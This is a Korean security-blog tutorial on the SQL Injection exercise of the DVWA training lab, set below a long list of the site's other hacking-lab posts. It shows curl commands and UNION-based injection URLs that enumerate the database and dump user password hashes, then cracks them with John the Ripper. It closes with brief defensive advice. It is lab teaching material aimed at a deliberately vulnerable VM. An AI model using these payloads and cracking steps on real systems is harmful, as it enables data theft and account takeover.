홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
• 웹 해킹 훈련장 172.16.15.116 40080/tcp 대상 공개용 도구 기반의 홈페이지 취약점 점검 실습 (20200507) • Kali Linux 2020.1b 64bit 설치 설명서 (MS 윈도우 10, VMware 플레이어) (20200325) • VirtualBox 가상머신으로 GSM CE 6.0.2 설치 설명서 (OpenVAS) (20200125) • Kali Linux 2019.4 64bit Light 배포판 설치 설명서 (권장) (20191202) • Kali Linux 2019.3 64bit Large 배포판 설치 및 한글 설정 설명서 (20191129) • [과제] WH-MissAuth-1 웹해킹훈련장: 접속자 권한인증 후 출력 제어 취약점 (20180619) • [과제] WH-WebEditor-SE2 웹해킹훈련장: 취약한 PHP 버전에서 원래 파일이름을 저장하는 웹에디터의 취약점을 이용한 시스템 침투 (20170827) • [과제] WH-FILEDOWN-01 웹해킹훈련장: 파일다운로드로 서버침투 (20170810) • [과제] WH-COOKIE-02 웹해킹훈련장: 쿠키 오용 취약점 (20170809) • Apache Tomcat /manager/html 무작위대입공격 도구 작성 - PHP (20170721) • 칼리 리눅스를 이용한 From SQL Injection to Shell 공략 (20170404) • 단순한 방어법(../ 제거)의 파일 다운로드 취약점 진단 사례 (20170329) • WH-WebEditor-CH 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170130) • 오늘의 웹서버 공격 로그: MySQL 관리 인터페이스 자동탐색 도구 - Jorgee Scanner (20170125) • WH-WebEditor-GM 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170123) • 오늘의 웹서버 공격 로그: Apache ProxyAbuse 탐지 시도 (20170122) • 오늘의 웹서버 공격 로그: Bash 쉘쇼크 취약점을 이용한 Perl Ircbot 삽입 시도 (20170122) • 오늘의 웹서버 공격 로그: phpMyAdmin 취약점 자동탐색 도구 - ZmEu Scanner (20170121) • 오늘의 웹서버 공격 로그: 워드프레스 취약점 자동탐색 도구 (20170118) • WH-PathTrav-01 라이브 ISO: 파일 다운로드 취약점으로 서버 침투 (20170116) • WH-Webshell-Loc-01 라이브 ISO: 서버 내 웹쉘 저장경로 알아내기 (20170114) • WH-ImgShell-01 라이브 ISO: 이미지에 덧붙인 웹쉘 취약점 웹해킹훈련장 (20170113) • SSH 무작위 대입 공격으로 root권한을 탈취한 침해사고 사례 (20170112) • WH-IllInst-WordPress 워드프레스 웹해킹훈련장 소개 (20170110) • WH-IllInst-WordPress 워드프레스 웹해킹훈련장 실습 설명서 (20170110) • MSSQL과 MySQL의 SQL구문삽입을 이용한 OS 명령어 실행 (20170109) • WH-CommInj-01 원격 운영체제 명령어 삽입 취약점 훈련장(라이브 ISO) 소개 및 실습 설명서 (20170106) • WH-Deface-01 기능별 권한인증 취약점 훈련장(라이브 ISO) 소개 (20170104) • WH-Deface-01 웹해킹훈련장 실습 설명서 (20170104) • WH-Account-01 회원가입 취약점 훈련장(라이브 ISO) 소개 (20170102) • WH-Account-01 웹해킹훈련장 실습 설명서 (20170103) • WH-Account-02 회원정보수정 취약점 훈련장(라이브 ISO) 소개 (20170103) • WH-Account-02 웹해킹훈련장 실습 설명서 (20170104) • 저장형 XSS 공격을 이용한 홈페이지위변조 공격 사례 (20161231) • 로그인한 상태에서 웹취약점스캐너의 자동점검 위험성 (20161228) • DBMS Fingerprinting (데이터베이스 관리시스템 탐지) (20161222) • FCKeditor를 대상으로 한 자동화 공격툴의 침해사례 (20161220) • 이중 서버스크립트 혼용을 이용한 웹방화벽/확장자검증 우회 (실제 사례) (20161219) • HTTP/HTTPS 혼용에 따른 관리자로그인 페이지 접근 우회 (실제 사례) (20161214) • 경로재지정 취약점: 자바스크립트를 이용한 검증과 그 우회, 그리고 XSS (실제 사례) (20161214) • 웹해킹 사례: 유명 홈페이지를 악성코드 배포 경유지로... (20161213) • HTML 삽입, XSS 공격 탐지방법 (20161211) • 오늘의 웹서버 공격 로그, Axis2, 공개프록시 (20161210) • 오늘의 웹서버 공격 로그, XML-RPC, Open Proxy (20161208) • nikto와 owasp-zap 연동 (20161206) • 미라이 IoT DDoS 봇넷이 사용한 61개 비밀번호 (20161205) • 오늘의 웹서버 공격 로그, SOAP 원격코드실행, D-Link 명령어 삽입, muieblackcat (20161205) • 오늘의 웹서버 공격 로그, w00tw00t (DFind) (20161204) • 기억하기 쉽고 안전한 비밀번호 만들기 (20161203) • 2016.12.01-02 웹서버 공격 로그, armgg DDoS 악성코드 (20161202) • KISA의 랜섬웨어 예방 수칙 (20161202) • WH-DVWA-1.9 Damn Vulnerable Web App 웹해킹훈련장 (20161201) • DVWA Brute Force 실습 설명서 (20161205) • DVWA Command Injection 실습 설명서 (20161207) • DVWA CSRF (low, high level) 실습 설명서 (20161208) • DVWA File Inclusion 실습 설명서 (20161215) • DVWA File Upload 실습 설명서 (20161221) • DVWA SQL Injection (low, medium, high level) 실습 설명서 (20161224) • DVWA SQL Injection medium level - OWASP-ZAP과 sqlmap 실습 설명서 (20161222) • DVWA Blind SQLi (high level) 수동점검을 통한 '눈먼'SQL 구문삽입의 이해 (20161227) • DVWA Blind SQL Injection (low, medium level) sqlmap 실습 설명서 (20161226) • DVWA Reflected Cross Site Scripting (XSS) 실습 설명서 (20161227) • DVWA Stored Cross Site Scripting (XSS) 실습 설명서 (20170101) • SVG 이미지의 ECMAscript를 이용한 악성코드 배포 (20161201) • WH-WebGoat-7.0.1 웹해킹훈련장 라이브 ISO (20161130) • WebGoat: Bypass a Path Based Access Control Scheme (20161207) • WebGoat, LAB: DOM-Based cross-site scripting (20161208) • WebGoat, Authentication Flaws: Multi Level Login 2 (20161209) • WebGoat, Code Quality: Discover Clues in the HTML (20161210) • WebGoat XSS: Phishing with XSS (20161211) • WebGoat: OS Command Injection (20161215) • WebGoat: Numeric SQL Injection (20161216) • WebGoat: String SQL Injection (UNION기반 SQL 구문삽입의 이해) (20161217) • WebGoat: Blind Numeric SQL Injection (추리기반 SQL 구문삽입의 이해) (20161218) • 2016.11.30 웹서버 공격 로그 (20161130) • OWASP TOP 10 (2013) 문서의 각종 해킹 시나리오 모음 (20161129) • WH-LFI-01: 널바이트삽입과 내부파일실행 웹해킹훈련장 (20161126) • WH-LFI-01 웹해킹훈련장의 취약점 분석 결과보고서 (20161128) • 인터넷(Internet)과 보안에 대해 짧게 생각해보다 (20161125) • PHP Easter Egg의 이해와 조치방안 (20161125) • WH-COOKIE-01: 잘못된 쿠키 사용 사례를 보여주는 웹해킹훈련장 (20161124) • WH-COOKIE-01 웹해킹훈련장 홈페이지 취약점분석 결과보고서 (20161126) • 웹해킹 공격/방어 일람 (20161121) • webhack.dynu.net 문자배너 만들기 - toilet (20161121) • MIME 형식의 보안위협 완화: X-Content-Type-Options 헤더 (20161120) • X-XSS-Protection헤더 시험 페이지 (20161119) • 방화벽을 노리는 블랙너스(Black Nurse) DoS 공격 (20161118) • 클릭재킹 방지를 위한 X-Frame-Options 헤더 (20161117) • X-Frame-Options헤더 시험 페이지 (20161118) • 공시생 성적조작 사건, 물리보안과 정보보안 (20161117) • ID/PW 평문전송, 정말 그렇게 큰 취약점인가? (20161116) • [웹해킹훈련장] 취약한 비밀번호: WH-weak-root-pw 실습 설명서 (20161116) • weak-root-pw 훈련장 웹취약점 분석 보고서 (20161117) • 슬리타즈 리눅스 4.0 설치와 웹해킹훈련장 Live ISO 만들기 (20161115) • 버추얼박스 가상머신에서 Tails OS 설치 (20161114) • Kali Linux에 Tor Browser 설치하기 (20161114) • 인터넷익명성 - VPN과 Tor (20161114) • Kali Linux, open-vm-tools, Shared Folder (20161113) • SSL Strip 공격과 HSTS (20161112) • 모든 꼬리표 모아보기(태그 클라우드) (20161111) • HTTP 세션 탈취와 IP보안 (20161111) • HTTP TRACE method와 XST 공격 (20161111) • 세션쿠키와 HttpOnly (20161110) • HTTP 메소드 수동점검 방법 (20161110) • 파일업로드(웹쉘) 방어하기 (20161109) • 파일다운로드/경로조작 방어하기 (20161109) • XSS, SQL Injection 방어하기 (20161109) • 길찾기(sitemap) (20161109) • 웹취약성분석 관련 파일 목록 (20161108) • SQL 인젝션 공격도구 sqlmap의 간단한 사용법 (20161107) • 웹취약점 분석 도구로서의 THC Hydra (20161107) • 웹취약점 분석 도구로서의 cURL (20161107) • [웹해킹훈련장] CVE-2014-6271: Bash Shellshock 실습 설명서 (20161104) • [PentesterLab] CVE-2014-6271 Shellshock 훈련장 웹취약점 분석 보고서 (20161106) • 무료 웹해킹 교육장 목록 (20161103) • 칼리 리눅스(Kali Linux) 설치 (20161030) • 가상머신 버추얼 박스(VirtualBox) 설치 (20161029) • 가상머신 VMWare Workstation Player 설치 (20161028) • [웹해킹훈련장] Drunk Admin Web Hacking Challenge 실습 설명서 (20161027) • 스마트에디터(SmartEditor) 2.0 Basic의 웹쉘 업로드 취약점 (20160719) |
<< 목록숨기기 DVWA: SQL Injection (low/medium/high level) 공략법DVWA(Damn Vulnerable Web Application) 1.9 훈련장 라이브 ISO는 다음에서 다운로드 받을 수 있다. DVWA 1.9 훈련장 라이브 ISO를 구동하는 방법은 다음 문서에서 볼 수 있다.
여기서는 구동 후 DVWA 훈련장의 주소가
HTTP 통신을 확인하기 위해서 Firefox 환경설정에서 OWASP-ZAP을 HTTP 프록시로 연결하는 것이 좋다. Vulnerability: SQL Injection, low level 설명Vulnerability: SQL Injection 실습문제는 숫자를 입력하여 해당 User ID에 대한 회원정보를 열람하는 웹 애플리케이션이다. 숫자는 1, 2, 3, 4, 5를 사용할 수 있으며 나머지에 대해서는 정보가 나오지 않는다.
위의 그림은 User ID가 5인 회원의 정보인 이름("Bob")과 성("Smith")을 출력하고 있다. OWASP-ZAP에서 확인한 HTTP 요청은 아래와 같다. GET http://192.168.189.246/vulnerabilities/sqli/?id=5&Submit=Submit HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://192.168.189.246/vulnerabilities/sqli/ Cookie: PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=low Connection: keep-alive Host: 192.168.189.246
요청 URL은
User ID 변수를 대상으로 다음과 같은 입력값 조작을 통해서 SQL문을 추정한다.
작은따옴표(
작은따옴표를 덧붙였을 때, root@kali:~# curl --cookie "PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=low" "http://192.168.189lnerabilities/sqli/?id=5%27&Submit=Submit" <pre>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''5''' at line 1</pre>root@kali:~#
MySQL이 SQL 문법오류(syntax error)를 뱉어내는 위치가
웹 브라우저로부터 전달된 사용자의 입력 값이 다시 웹서버에서 DB서버의 SQL분석기(SQL Parser)에 전달될 때
- 제대로 된 검증을 하지 않으면 - SQL문 주입 취약점이 발생한다.
SQL구문삽입 취약점을 증빙하기 위해서는 어느 수준까지를 보고할 지 결정해야 한다.
대개의 경우에는 SQL 파서가 사용자의 입력 값에 영향을 받는다는 것이면 충분하다.
다음
사용자의 입력값이 전달되는 경로는
웹취약점점검 작업에서는 이 정도 수준에서 SQL인젝션 취약점을 증빙하여도 무리가 없다.
취약점이 발견되면 이제
Vulnerability: SQL Injection (low level) 실습문제에는
UNION 기반 SQLi의 경우에는 취약점이 발생하는 SELECT 문에서 조회하는 컬럼의 수를 알아내는 것이 중요하다.
컬럼의 수는
root@kali:~# curl --cookie "PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=low" "http://192.168.189.246/vulnerabilities/sqli/?id=5%27+UNION+SELECT+1%23&Submit=Submit#" <pre>The used SELECT statements have a different number of columns</pre>root@kali:~#
윗 화면은 UNION의 뒷 SELECT 문에 1개의 컬럼을 가져오게 하는 SQL문 삽입 결과이다.
이 컬럼은 별도의 이름이 있는 것이 아니라 무조건 숫자 이제 뒷 SELECT문의 컬럼수를 하나씩 증가시킨다.
User ID에
SQL문의 SELECT가 조회하는 컬럼의 수를 확인할 때는 이제 컬럼의 수를 알았으므로, 이를 이용하여 DBMS의 버전을 확인해보자.
User ID 입력값은
MySQL의 정보스키마는
User ID 입력은 http://192.168.189.246/vulnerabilities/sqli/?id=5%27+UNION+SELECT+TABLE_SCHEMA%2C2+FROM+INFORMATION_SCHEMA.TABLES%23&Submit=Submit#
삽입한 UNION의 SELECT문에 의해
이름으로 보아, 3개의 데이터베이스 중
User ID 입력값은
http://192.168.189.246/vulnerabilities/sqli/?id=5%27+UNION+SELECT+1%2CTABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA%3D%27dvwa%27%23&Submit=Submit#
그리고 그림에 출력된 결과로부터
입력값은
http://192.168.189.246/vulnerabilities/sqli/?id=5%27+UNION+SELECT+1%2CCOLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME%3D%27users%27%23&Submit=Submit#
위의 그림으로부터
User ID에 http://192.168.189.246/vulnerabilities/sqli/?id=5%27+UNION+SELECT+user%2Cpassword+FROM+dvwa.users%23&Submit=Submit#
위의 그림에서 볼 수 있듯이
Vulnerability: SQL Injection (low level)에서는 SELECT 문이 조회하는 컬럼의 수가 2개 밖에 되지 않는다.
이 때문에 이렇게 모든 회원의 계정과 비밀번호 해쉬를 알아냈으므로 이 해쉬로부터 비밀번호를 알아낼 수 있다면 관리자 및 사용자 권한을 모두 탈취하게 된다.
비밀번호는 대부분 해쉬(hash) 값으로 저장된다.
해쉬는 단방향 암호화의 일종으로 이론적으로는 복호화가 불가능하다.
그런데 널리 알려진 문자열(취약한 비밀번호)인 경우에는 추정이 가능하다.
첫번째는 구글이나 해쉬 데이터베이스를 이용하는 것이다.
구글에서
칼리 리눅스에서 두번째 방법을 실습해보자.
먼저 위에서 유출한 root@kali:~# cat users.txt admin:5f4dcc3b5aa765d61d8327deb882cf99 gordonb:e99a18c428cb38d5f260853678922e03 1337:8d3533d75ae2c3966d7e0d4fcc69216b pablo:0d107d09f5bbe40cade3de5c71e9e9b7 smithy:5f4dcc3b5aa765d61d8327deb882cf99 root@kali:~#
회원 ID와 비밀번호 해쉬를 묶어서 root@kali:~# hash-identifier <<< 5f4dcc3b5aa765d61d8327deb882cf99 ######################################################################### # __ __ __ ______ _____ # # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.1 # # By Zion3R # # www.Blackploit.com # # Root@Blackploit.com # ######################################################################### ------------------------------------------------------------------------- HASH: Possible Hashs: [+] MD5 [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username))) Least Possible Hashs: [+] RAdmin v2.x [+] NTLM [+] MD4 [+] MD2 [+] MD5(HMAC) [+] MD4(HMAC) [+] MD2(HMAC) [+] MD5(HMAC(Wordpress)) [+] Haval-128 [+] Haval-128(HMAC) [+] RipeMD-128 [+] RipeMD-128(HMAC) [+] SNEFRU-128 [+] SNEFRU-128(HMAC) [+] Tiger-128 [+] Tiger-128(HMAC) [+] md5($pass.$salt) [+] md5($salt.$pass) [+] md5($salt.$pass.$salt) [+] md5($salt.$pass.$username) [+] md5($salt.md5($pass)) [+] md5($salt.md5($pass)) [+] md5($salt.md5($pass.$salt)) [+] md5($salt.md5($pass.$salt)) [+] md5($salt.md5($salt.$pass)) [+] md5($salt.md5(md5($pass).$salt)) [+] md5($username.0.$pass) [+] md5($username.LF.$pass) [+] md5($username.md5($pass).$salt) [+] md5(md5($pass)) [+] md5(md5($pass).$salt) [+] md5(md5($pass).md5($salt)) [+] md5(md5($salt).$pass) [+] md5(md5($salt).md5($pass)) [+] md5(md5($username.$pass).$salt) [+] md5(md5(md5($pass))) [+] md5(md5(md5(md5($pass)))) [+] md5(md5(md5(md5(md5($pass))))) [+] md5(sha1($pass)) [+] md5(sha1(md5($pass))) [+] md5(sha1(md5(sha1($pass)))) [+] md5(strtoupper(md5($pass))) ------------------------------------------------------------------------- HASH: Traceback (most recent call last): File "/usr/bin/hash-identifier", line 556, in
경험상으로 보아 숫자와 알파벳으로 구성된 32자 짜리 해쉬는 대개 MD5 해쉬이다.
칼리 리눅스에 설치된
John the Ripper를 이용하여 무작위대입(brute-force)으로
root@kali:~# john --format=Raw-MD5 users.txt Using default input encoding: UTF-8 Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3]) Press 'q' or Ctrl-C to abort, almost any other key for status password (admin) password (smithy) abc123 (gordonb) letmein (pablo) charley (1337) 5g 0:00:00:00 DONE 3/3 (2016-12-24 03:25) 7.575g/s 275312p/s 275312c/s 298663C/s charlie..charies Use the "--show" option to display all of the cracked passwords reliably Session completed root@kali:~#
John the Ripper는 순식간에 5개 비밀번호 해쉬의 원래 문자열을 계산해냈다.
원래 비밀번호들이 널리 알려져있는
취약한 비밀번호(
범용 SQL 자동화 공격도구인 Vulnerability: SQL Injection, medium level 설명Vulnerability: SQL Injection (medium level) 실습 문제의 PHP 소스코드를 살펴보자. 방어와 관련된 부분과 SQL문 생성 코드는 아래와 같다. $id = $_POST[ 'id' ]; $id = mysql_real_escape_string( $id ); // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
사용자 입력값(
그리고 SQL문에
OWASP-ZAP을 실행하고 Firefox의 HTTP 프록시에 OWASP-ZAP을 설정한다.
파이어폭스의
위와 같이 HTTP 통신 가로채기를 통해서 POST http://192.168.189.246/vulnerabilities/sqli/ HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://192.168.189.246/vulnerabilities/sqli/ Cookie: PHPSESSID=ndnl8peb1lrk880lcrpp0iras1; security=medium Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 30 Host: 192.168.189.246 id=1+OR+1%3D1%23&Submit=Submit
Low level에서와는 달리 작은따옴표 없이
일부 웹 어플리케이션에서는 결과 1개만을 출력하는 경우가 있다.
DVWA SQL Injection 문제가 결과 1개만을 출력한다고 가정하자.
이러한 경우에는
웹 취약점 분석에서는 시간이 중요하다.
정해진 시간내에 작업을 마쳐야 하기 때문이다.
OWASP-ZAP이나 sqlmap과 같은 도구를 사용하면 보다 빠른 점검을 진행할 수 있다.
DVWA SQL Injection (medium level) - Vulnerability: SQL Injection, high level 설명Vulnerability: SQL Injection (high level) 실습문제의 소스를 살펴보자. // Get input $id = $_SESSION[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
SQL문에서 사용할 Vulnerability: SQL Injection (high level) 실습문제에서는 서버의 세션에 저장되는 값을 사용자가 변경할 수 있는 웹 애플리케이션을 제공한다. High level 문제는 비현실적인 상황을 가정한 것으로 보아도 무방하다. 일반적으로 세션은 서버가 자동으로 만든다. 로그인을 하게 되면 검증된 값(ID, 권한 등)을 저장한다. 이외에는 수시로 변경될 수 있는 값이 저장되기도 한다. Anti-CSRF 토큰이 한 예이다. 그러나 이러한 값들은 모두 서버가 결정하여 저장하는 값이며, 사용자(웹 브라우저)가 관여할 수 있는 경우는 거의 없다. 그럼에도 불구하고, high level 문제에서는 서버의 세션에 저장되는 값을 변경할 수 있는 웹 애플리케이션을 제공하므로 입력값에 SQL 구문삽입을 시도해보자.
Session ID에 Vulnerability: SQL Injection, impossible level 설명Impossible level의 PHP 소스코드를 살펴보자. // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { Anti-CSRF token이 적용되어 있다. CSRF에 의한 사용자 계정 열람의 가능성을 차단하고 있다. 그러나 현실적으로는 SQL구문삽입을 방어하는 데는 큰 도움이 되지는 않는다.
두번째 방어수단은
Vulnerability: SQL Injection에서
가용성을 좀 더 높이고자 한다면 형변환(type casting)을 적용하는 것도 한 방법이다.
예를 들어 [처음 작성한 날: 2016.12.24] [마지막으로 고친 날: 2016.12.24] < 이전 글 : DVWA File Upload 실습 설명서 (2016.12.21) > 다음 글 : DVWA SQL Injection medium level - OWASP-ZAP과 sqlmap 실습 설명서 (2016.12.22) 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다. 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |